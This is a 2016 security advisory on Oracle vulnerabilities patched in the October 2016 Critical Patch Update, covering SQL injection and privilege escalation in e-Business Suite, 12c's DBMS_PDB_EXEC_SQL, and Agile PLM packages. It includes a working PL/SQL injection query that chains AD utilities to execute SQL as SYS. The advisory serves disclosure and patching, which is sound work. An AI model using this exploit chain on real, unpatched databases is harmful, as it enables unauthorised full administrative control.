Details for Oracle's October 2016 Critical Patch Update [1]

David Litchfield (david@davidlitchfield.com)

19th October 2016

CVE-2016-5567, CVE-2016-5570, CVE-2016-5571 and CVE-2016-5517

In e-Business Suite 12.x and 11.x there are a number of AD utilities owned by both SYS and SYSTEM that are vulnerable to PL/SQL injection and are executable by the APPS user. In a web-based SQL injection attack, SQL runs as APPS so an attacker can exploit these flaws to execute SQL as SYS in a chained attack. For example, the query below first uses the APPS.ASG_CUSTOM_PVT.EXEC_CMD function as an auxiliary inject function to execute SYSTEM.AD_APPS_PRIVATE.DO_APPS_DDL and exploit one of its SQL injection flaws and, because SYSTEM has the execute privilege on it, executes DBMS_SYS_SQL.PARSE_AS_USER to execute SQL as SYS.

```
select APPS.ASG_CUSTOM_PVT.EXEC_CMD('begin
system.ad_apps_private.do_apps_ddl(''dbms_output.put_line(user||:1);
execute immediate ''''declare pragma autonomous_transaction; c
number; r number; begin c:=sys.dbms_sql.open_cursor();
sys.dbms_sys_sql.parse_as_user(c, ''''''''begin
dbms_output.put_line(sys_context(''''''''''''''''userenv''''''''''''
''',''''''''''''''''current_user''''''''''''''''')); end;''''''''',
dbms_sql.native, 0); r:=dbms_sql.execute(c);
dbms_sql.close_cursor(c); end;''''; end;--'',''''); end;') from dual;
```

See http://www.davidlitchfield.com/oracle-apps-to-sys.pdf for more details.

CVE-2016-5516

In Oracle 12c, the DBMS_PDB_EXEC_SQL procedure is a wrapper for the DBMS_PDB.EXEC_AS_ORACLE_SCRIPT procedure which executes SQL as the SYS user. The XDB user has the execute privilege on DBMS_PDB_EXEC_SQL and, as such, by first exploiting a vulnerability in a publicly executable XDB owned PL/SQL object, an attacker can leverage this privilege to execute SQL as SYS. The fix changes both DBMS_PDB_EXEC_SQL and DBMS_PDB from using the DEFINER rights to the INVOKER rights execution model.

CVE-2016-5521 and CVE-2016-5512

The Agile PLM AGDR_IAU.AUDITSCHEMA_PKG package is vulnerable to lateral SQL injection. AGDR_IAU has the SELECT ANY DICTIONARY privilege so an attacker stands to gain access to the database metadata. AUDITREPORTS_PKG is vulnerable in the same way. Both are executable by AGPRD_IAU_APPEND and AGPRD_IAU_VIEWER.

[1] http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html